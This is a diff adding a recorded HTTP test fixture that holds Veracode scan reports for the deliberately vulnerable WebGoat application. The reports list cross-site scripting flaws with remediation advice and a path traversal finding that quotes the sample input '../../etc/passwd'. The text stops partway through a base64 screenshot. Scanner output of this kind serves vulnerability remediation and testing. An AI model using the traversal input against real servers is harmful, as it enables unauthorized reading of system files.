+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:46 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:10:49 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:10:48 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs